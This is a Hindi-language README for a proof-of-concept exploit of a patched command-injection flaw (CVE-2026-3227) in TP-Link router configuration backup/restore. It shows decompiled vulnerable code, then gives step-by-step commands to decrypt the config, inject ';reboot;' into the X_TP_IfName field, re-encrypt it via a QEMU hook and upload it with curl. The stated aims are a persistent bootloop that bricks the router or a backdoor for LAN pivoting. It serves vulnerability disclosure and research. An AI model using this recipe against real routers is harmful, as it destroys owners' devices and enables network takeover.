
प्रमाण-अवधारणा (Proof-of-concept) TP-Link राउटर फर्मवेयर में प्रमाणित OS कमांड इंजेक्शन के लिए। इसमें डिक्रिप्शन, QEMU-आधारित एन्क्रिप्शन हुक, और स्थायी बूटलूप या बैकडोर तैनाती के लिए 15-वर्ण पेलोड जनरेशन शामिल है।
अधिक जानकारी के लिए देखें https://www.cve.org/CVERecord?id=CVE-2026-3227
एक स्थायी, प्रमाणित OS कमांड इंजेक्शन भेद्यता TP-लिंक राउटर फर्मवेयर में जो डिवाइस को ब्रिक करने या संभावित LAN अधिग्रहण की ओर ले जाती है।
अस्वीकरण: इस रिपॉजिटरी में एक पैच की गई भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट (PoC) कोड है। यह शैक्षिक उद्देश्यों और सुरक्षा शोधकर्ताओं के लिए है।
कई TP-लिंक राउटर्स (TL-WR802N, TL-WR841N, और TL-WR840N सहित) के कॉन्फ़िगरेशन बैकअप/पुनर्स्थापना तंत्र में एक कमांड-इंजेक्शन भेद्यता मौजूद है। प्रशासनिक पहुँच वाला एक हमलावर राउटर का कॉन्फ़िगरेशन डाउनलोड कर सकता है, उसे डिक्रिप्ट कर सकता है, विशिष्ट XML फ़ील्ड में एक दुर्भावनापूर्ण OS कमांड (15 वर्णों तक) इंजेक्ट कर सकता है, पुनः एन्क्रिप्ट कर सकता है, और वापस डिवाइस पर अपलोड कर सकता है।
जब राउटर कॉन्फ़िगरेशन लागू करता है (उदाहरण के लिए, पोर्ट ट्रिगर ईवेंट के दौरान या स्टार्टअप पर), तो इंजेक्ट किया गया पेलोड रूट के रूप में निष्पादित होता है। इसका उपयोग एक स्थायी बूटलूप (फ़ैक्टरी रीसेट से बचकर डिवाइस को स्थायी रूप से ब्रिक करना) या संभावित रूप से LAN पिवोटिंग के लिए एक स्थायी बैकडोर सक्षम करने के लिए किया जा सकता है।
राउटर के कॉन्फ़िगरेशन बैकअप फीचर की खोज करते समय, मैंने httpd बाइनरी और libcmm.so लाइब्रेरी को रिवर्स-इंजीनियर करने का फैसला किया ताकि यह समझा जा सके कि कॉन्फ़िगरेशन फ़ाइलों को कैसे एन्क्रिप्ट और पार्स किया जाता है।
qemu-user का उपयोग करके राउटर की आर्किटेक्चर का अनुकरण किया और रनटाइम पर राउटर के मूल httpd बाइनरी (create_config.c) को हुक किया। इसने मुझे अपने पायथन PoC से सीधे राउटर के मूल एन्क्रिप्शन फ़ंक्शन को आह्वान करने की अनुमति दी, जिससे मूल एन्क्रिप्शन प्रारूप का पूरी तरह से अनुकरण हुआ।भेद्यता इस बात में निहित है कि उत्पाद एन्क्रिप्टेड कॉन्फिग ब्लॉब को कैसे पार्स करता है और रनटाइम पर इसे लागू करता है। पोर्ट-ट्रिगरिंग कॉन्फ़िगरेशन पथ में, कार्यान्वयन उचित सैनिटाइज़ेशन के बिना उपयोगकर्ता-नियंत्रित फ़ील्ड का उपयोग करके शेल कमांड बनाता है।
विशेष रूप से, फ़ंक्शन oal_pt_addPortTrigger कॉल करता है:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
%s प्रारूप स्ट्रिंग एक इंटरफ़ेस स्ट्रिंग (X_TP_IfName) से भरी जाती है जो सीधे अपलोड किए गए XML कॉन्फ़िगरेशन से पार्स की जाती है।
निष्पादन प्रवाह:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger पोर्ट सूचियों को पार्स करने के लिए forward_parsePtOpenPort कॉल करता है।iptables कमांड स्ट्रिंग बनाता है और इसे util_execSystem (जो system() को लपेटता है) के माध्यम से निष्पादित करता है।डिक्रिप्टेड XML में निम्नलिखित शामिल करने के लिए संशोधन करके:
<X_TP_IfName val=";reboot;"/>
कमांड इंटरफ़ेस इनिशियलाइज़ेशन के दौरान स्टार्टअप पर या जब पोर्ट-ट्रिगर ईवेंट होता है, निष्पादित किया जाता है। क्योंकि पेलोड 15 वर्णों तक सीमित है, शोषण तैयार करने के लिए कॉम्पैक्ट कमांड निष्पादन तकनीकों की आवश्यकता होती है।
कॉपीराइटेड TP-लिंक बाइनरी वितरित करने से बचने के लिए, इस PoC के लिए आपको एक कस्टम QEMU हुक के माध्यम से मूल एन्क्रिप्शन लाइब्रेरी का उपयोग करने के लिए स्वयं राउटर की फ़ाइल सिस्टम निकालने की आवश्यकता है।
qemu-mipsel और एक क्रॉस-कंपाइलर (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin> का उपयोग करके फर्मवेयर निकाला गयाsquashfs-root निर्देशिका को इस प्रोजेक्ट के 'python_utils/' में कॉपी करें।mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin) डाउनलोड करें।python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root के रूप में निष्पादित होगा। यदि आपने ;reboot; का उपयोग किया है, तो राउटर तुरंत पुनरारंभ होगा और एक स्थायी बूटलूप में प्रवेश करेगा।